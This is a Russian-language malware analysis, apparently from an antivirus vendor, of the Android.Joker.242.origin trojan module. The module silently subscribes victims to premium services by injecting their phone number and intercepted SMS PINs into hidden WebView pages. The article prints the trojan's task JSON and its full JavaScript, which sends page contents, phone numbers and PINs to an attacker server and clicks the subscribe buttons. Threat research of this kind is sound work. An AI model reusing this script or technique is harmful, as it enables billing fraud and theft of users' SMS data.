Описание
Вредоносная программа из семейства Android.Joker. Представляет собой модуль, загружаемый некоторыми другими представителями семейства. Выполняет скрытые платежи с мобильных счетов и подписывает жертв на платные сервисы. Активация услуг происходит без участия пользователей. Для этого Android.Joker.242.origin незаметно загружает веб-сайты премиум-сервисов, где имитирует действия владельцев Android-устройств, самостоятельно нажимает на нужные кнопки меню и вводит коды подтверждений.
Информация об известных модификациях троянов Android.Joker, использующих этот модуль, доступна по ссылке на индикаторы компрометации в конце данного описания.
Принцип действия
В процессе работы базового троянского модуля Android.Joker.242.origin скачивается на Android-устройства и запускается при помощи класса DexClassLoader. После запуска он запрашивает список задач appOfferList, расположенный по адресу hxxps://ad[.]mobnv[.]com/prod-api/foreign/app/channel/appOffer/getTask.
При запросе на сервер отправляются следующие параметры:
- AppNumber — идентификатор приложения (задается другим модулем, appid по умолчанию);
- AppVersion — версия приложения;
- OperatorCode — код оператора SIM-карты.
Каждая задача состоит из следующих полей:
- appCampSuccessKey ― содержит строку. При загрузке целевой веб-страницы премиум-сервиса выполняется проверка ее URL на содержание указанной строки; если она в ней имеется, платеж считается успешно завершенным.
- appCampHeader ― заголовок X-Requested-With, загружающийся с URL задачи.
- offerId ― идентификатор задачи.
- js ― JavaScript-код, который выполняется после загрузки целевой страницы в WebView. Закодирован Base64, также выполняется при получении уведомления с PIN-кодом подтверждения подписки.
- appCampTrackUrl ― начальный URL задачи.
- offShortcode ― строка, наличие которой проверяется в заголовке прочитанного уведомления с PIN-кодом подтверждения платежа.
- appCampPinRegex ― регулярное выражение для поиска в тексте уведомления PIN-кода подтверждения платежа.
- appCampLoadWay ― способ загрузки URL задачи в WebView. В рассматриваемом примере их два:
- сразу загрузить страницу в WebView;
- перейти по ссылке с помощью GET-запроса, затем перейти по ссылке из поля Location или refresh заголовка ответа и так далее, пока очередь не дойдет до ссылки без этих заголовков. Эта ссылка и будет загружена в WebView.
- offerName ― имя задачи.
Помимо списка задач, ответ сервера содержит список строк errorPool. Загруженные в WebView URL-адреса целевых сайтов проверяются на наличие этих строк. Если какая-либо из них присутствует в адресе, выполнение задачи прекращается, и троян переходит к следующей.
Совершение платежа
Для успешной подписки на премиум-сервисы зараженное устройство должно быть подключено к мобильному интернету. Если это не так, Android.Joker.242.origin пытается отключить активное Wi-Fi-соединение с помощью android.net.wifi.WifiManager. Однако выполнить это троян сможет, только если используемая на устройстве ОС Android ниже версии 10.
Затем для каждой задачи последовательно с небольшими временными промежутками создается компонент NovaSdkView, содержащий android.webkit.WebView ― объект WebView. В него одним из способов, приведенных выше (параметр appCampLoadWay), загружается заданный URL.
После загрузки страницы загружается полученный от сервера JavaScript-код. В этот код вместо строки @@@@ перед загрузкой добавляется номер телефона жертвы. При этом сам номер считывается из SharedPreferences, куда он должен быть сохранен основным модулем трояна.
Основной модуль трояна перехватывает уведомления о входящих СМС, после чего отправляет намерение с полем action="SEND_APP_NOTIFICATION_ACTION". Намерение содержит заголовок и текст уведомления. В свою очередь, Android.Joker.242.origin получает это намерение через широковещательный приемник и с помощью регулярного выражения ищет в тексте уведомления PIN-код. Успешно полученный PIN-код добавляется в JavaScript вместо строки ####, после чего этот код исполняется. При этом модуль Android.Joker.242.origin не только ищет коды подтверждения операций, но и логирует все полученные уведомления об СМС на сервер hxxps://ad[.]mobnv[.]com, что может привести к утечке конфиденциальных данных.
Загруженные в WebView URL-адреса целевых сайтов проверяются на наличие строки appCampSuccessKey. Ее наличие интерпретируется как успешное выполнение платежа, а наличие строк из списка errorPool интерпретируется как ошибка. И в том и в другом случае Android.Joker.242.origin переходит к выполнению следующей задачи.
Задачи из списка для совершения платежей исполняются одна за другой. При этом предусмотрено ограничение subscribeLimit на количество успешно совершенных платежей на одного пользователя. Оно читается из SharedPreferences, куда заносится другим модулем. По умолчанию оно равно 5, однако может быть изменено в большую или меньшую сторону.
Пример задачи:
hxxps://app[.]mobnv[.]com/prod-api/foreign/app/channel/appOffer/getTask?appNumber=201028120701&appVersion=0.1.0&operatorCode=42006&offset=0&limit=50
{
"errorPool":"failed,error",
"appOfferList":[
{
"appCampHeader":"",
"appCampLoadWay":"2",
"appCampPinRegex":"\\b\\d{6}\\b|\\b\\d{4}\\b",
"appCampSuccessKey":"",
"appCampTrackUrl":"hxxps://app[.]mobnv[.]com/prod-api/foreign/app/tl/26091?clickid={clickid}",
"js":"ZnVuY3R...9Cn0=",
"offShortcode":"",
"offerId":1865,
"offerName":"SA-Musify-All-PIN-4235-Mobily"
},
{
"appCampHeader":"",
"appCampLoadWay":"1",
"appCampPinRegex":"\\b\\d{6}\\b|\\b\\d{4}\\b",
"appCampSuccessKey":"",
"appCampTrackUrl":"hxxps://app[.]mobnv[.]com/prod-api/foreign/app/tl/26121?clickid={clickid}",
"js":"ZnVuY3...9Cn0=",
"offShortcode":"",
"offerId":1910,
"offerName":"SA-Insaudi 1-All-PIN-4261-mobily"
}
]
}
Пример исполняемого трояном JavaScript:
function doAjax(data) {
var xhr = null;
if (window.XMLHttpRequest) {
xhr = new XMLHttpRequest()
} else {
xhr = new ActiveXObject("Microsoft.XMLHTTP")
}
var type = data.type == "get" ? "get" : "post";
var async = data.type ? true : false;
xhr.open(type, data.url, async);
if (type === "post") {
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded")
}
xhr.send(data.data);
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
if (xhr.status == 200) {
if (typeof data.success == "function") {
data.success(xhr.responseText)
} else {
if (typeof data.error == "function") {
data.error()
}
}
}
}
}
}
function uploadSource(value) {
var time = (new Date()).getTime();
var pageurl = encodeURIComponent(window.location.href);
var source = "";
if (null == value || '' == value || 'undefined' == value) {
source = encodeURIComponent(document.documentElement.outerHTML);
} else {
source = value;
}
var offerId = 1992;
var appId = 131;
var url = "hxxp://www[.]mobnv[.]com/pay/api/userlog/wapsource/";
var params = "time=" + time + "&url=" + pageurl + "&source=" + source + "&offerid=" + offerId + "&appId=" + appId;
var data = {
type: "post",
url: url,
data: params,
async: true,
success: "alert",
error: null
};
doAjax(data)
}
uploadSource();
if (window.location.href.indexOf("hxxps://cmpgn1[.]sportmob[.]com/landing/bg-ksa-p-vertads25?clickid=") !== -1) {
var mninput = document.getElementById("number_input");
var pininput = document.getElementById("code_input");
var ok = document.getElementsByClassName("form number_confirmation")[0].className;
if (ok.indexOf("show") == -1) {
var g = document.getElementsByTagName("label");
for (var e = 0; e < g.length; e++) {
g[e].click();
}
var phonenumber = "@@@@";
if (phonenumber !== "" && phonenumber.indexOf("@") === -1) {
phonenumber = phonenumber.replace("+", "");
if (phonenumber > 9) {
phonenumber = phonenumber.substring(phonenumber.length - 9, phonenumber.length);
}
mninput.value = "966" + phonenumber;
document.getElementsByClassName("operator_btn")[0].click();
setTimeout(function() {
document.getElementById("subscribe_btn1").click();
uploadSource(mninput.value + "||" + encodeURIComponent(document.documentElement.outerHTML));
}, 500);
}
} else {
var pinvalue = "####";
if (pinvalue !== "" && pinvalue.indexOf("#") === -1) {
pininput.value = pinvalue;
setTimeout(function() {
document.getElementById("subscribe_btn2").click();
uploadSource(pininput.value + "ï½ï½" + encodeURIComponent(document.documentElement.outerHTML));
}, 500);
}
}
}